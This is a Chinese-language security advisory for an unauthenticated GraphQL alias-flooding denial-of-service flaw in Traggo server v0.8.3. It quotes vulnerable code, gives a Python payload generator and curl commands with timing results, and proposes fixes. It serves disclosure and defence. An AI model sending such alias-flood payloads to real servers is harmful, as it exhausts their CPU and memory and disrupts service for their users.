Traggo 服务器 v0.8.3 存在**未认证拒绝服务(DoS)**漏洞。GraphQL 端点接受无限数量的别名(alias)字段,且没有请求体大小限制。由于 version 字段缺少 @hasRole 指令,因此无需登录即可触发该漏洞。
一个包含大量别名的精心构造的文档(例如 {v0:version{name} v1:version{name} ...})会迫使服务器花费大量时间解析字段并分配过多内存。单个包含 100,000 个别名的请求(2.0 MB 载荷)会使一个 CPU 核心满载超过 100 秒,并消耗近 1 GB 内存。并行请求很容易使进程进入 OOM(内存耗尽)状态。
| 字段 | 值 |
|---|---|
| CVE ID | CVE-2026-117184 |
| 官方记录 | cve.org/CVERecord?id=CVE-2026-117184 |
| 受影响版本 | Traggo 服务器 v0.8.3(提交 6321119c3c2d55f04e2e4967f6492aabd6067b76) |
| 漏洞类型 | CWE-400:不受控制的资源消耗(DoS) |
| 攻击向量 | 网络 |
| 所需权限 | 无(未认证) |
| 受影响组件 | GraphQL 端点 /graphql(graphql/handler.go)、schema.graphql、logger/gql.go |
| 原始报告 | traggo/server#253 |
| 文件路径 | 描述 |
|---|---|
graphql/handler.go | 处理器设置缺少复杂度限制和请求体大小限制。 |
schema.graphql | version 字段缺少认证指令。 |
auth/hasrole.go | 指令实现(对 version 被跳过)。 |
graphql/resolver.go | 每个别名都会调用 version 解析器。 |
logger/gql.go | 出错时记录原始查询,放大了请求体大小的影响。 |
graphql/handler.go:13-27 — 从未传入 handler.ComplexityLimit(...)。请求体未经 http.MaxBytesReader 处理便直接进入 gqlHandler.ServeHTTP。
func Handler(endpoint string, resolvers gqlschema.ResolverRoot, directives gqlschema.DirectiveRoot) http.HandlerFunc {
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}), handler.RequestMiddleware(logger.GQLLog()))
playground := handler.Playground("Traggo Playground", endpoint)
return func(writer http.ResponseWriter, request *http.Request) {
if acceptHTMLAndNotJSON(request) {
playground.ServeHTTP(writer, request)
} else {
gqlHandler.ServeHTTP(writer, request)
}
}
}
version 字段schema.graphql:62 — 其他字段都有 @hasRole(role: USER),而 version 字段没有,因此无需 Authorization 请求头即可访问该字段。
devices: [Device!] @hasRole(role: USER)
timeSpans(fromInclusive: Time, toInclusive: Time, cursor: InputCursor): PagedTimeSpans! @hasRole(role: USER)
# ...
version: Version!
graphql/resolver.go:67-71 — 选择集中的每个别名都会单独调用解析器,从而成倍增加 CPU 和内存占用。
func (r *resolver) Version(ctx context.Context) (*gqlmodel.Version, error) {
gql := &gqlmodel.Version{}
copier.Copy(gql, r.version)
return gql, nil
}
gqlgen v0.17.85 仅在应用程序显式设置复杂度限制时才会启用该限制(handler/handler.go:59-67)。由于 Traggo 未进行设置,cfg.complexityLimit 为 0,因此不会添加任何扩展。
logger/gql.go:27-36 —— 即使查询失败,原始查询也会被记录。一个 20 MB 的载荷会为每个请求生成一条 20 MB 的日志条目。
if len(errs) > 0 {
// ...
log.Error().Strs("error", errorStrings).Str("took", elapsed.String()).Msg("GQL: " + toOneLine(hidePassword(rawQuery)))
}
已在 v0.8.3 上测试,使用 go build 从源码构建(Go 1.24.4、SQLite、4 核、7.7 GB RAM)。
API=http://127.0.0.1:3999/graphql
curl -s -D - "$API" \
-H 'Content-Type: application/json' \
--data-binary '{"query":"{version{name commit}}"}' \
-o /tmp/version.json
cat /tmp/version.json
# Response: {"data":{"version":{"name":"develop","commit":"-"}}}
python3 - <<'EOF'
import json
for n in (5000, 20000, 50000, 100000):
q = "{" + " ".join(f"v{i}:version{{name}}" for i in range(n)) + "}"
with open(f"/tmp/alias_{n}.json", "w") as f:
json.dump({"query": q}, f)
EOF
(该 100k 文件大小为 2,088,904 字节。)
for n in 5000 20000 50000; do
curl -s "$API" -H 'Content-Type: application/json' \
-d @/tmp/alias_$n.json -o /dev/null \
-w "$n: http=%{http_code} time=%{time_total}\n"
done
| 别名 | 请求大小 | 时间 | 备注 |
|---|---|---|---|
| 5,000 | 99 KB | 0.15 s | |
| 20,000 | 409 KB | 2.37 s | |
| 50,000 | 1.0 MB | 24.47 s | 单核 100% |
| 100,000 | 2.0 MB | 102.56 s | RSS 962 MB |
在 4 核机器上并行执行三个 50k 请求时,CPU 占用达到 291-299%。服务器不会立即崩溃,但在大型请求运行期间,小型查询仍能保持响应(约 1 ms)。主要问题是 CPU 绑定和潜在的 OOM。
在 graphql/handler.go 中应用限制:
gqlHandler := handler.GraphQL(gqlschema.NewExecutableSchema(gqlschema.Config{
Resolvers: resolvers,
Directives: directives,
}),
handler.ComplexityLimit(1000), // Set a reasonable limit based on dashboard queries
handler.RequestMiddleware(logger.GQLLog()),
)
// Wrap the request handler with MaxBytesReader
return func(writer http.ResponseWriter, request *http.Request) {
request.Body = http.MaxBytesReader(writer, request.Body, 1024*1024) // e.g., 1 MB limit
// ... (rest of the handler)
}
注意:使用 ComplexityLimit(1000) 时,50k 别名查询会在 0.17 秒内失败,并报错:operation has complexity 100000, which exceeds the limit of 1000。
version 字段如果 version 不需要公开,请将 @hasRole(role: USER) 添加到 schema.graphql:
version: Version! @hasRole(role: USER)
| 组件 | 版本 |
|---|---|
| Traggo Server | v0.8.3(提交 6321119c...) |
| Go | 1.24.4 |
| gqlgen | 0.17.85 |
| 数据库 | SQLite |
| 操作系统 | Linux(4 核,7.7 GB RAM) |
| 日期 | 事件 |
|---|---|
| 2026-10-22 | 向 Traggo 服务器仓库报告 Issue #253 |
| 2026-10-30 | 官方 CVE 记录在 cve.org 上发布 |
| — | 等待维护者就修复作出回应 |
本文档仅供教育和防御目的使用。所有测试均在作者拥有的本地托管实例上进行。未经明确书面授权,请勿将这些技术用于任何系统。
Primandito Adi Setiya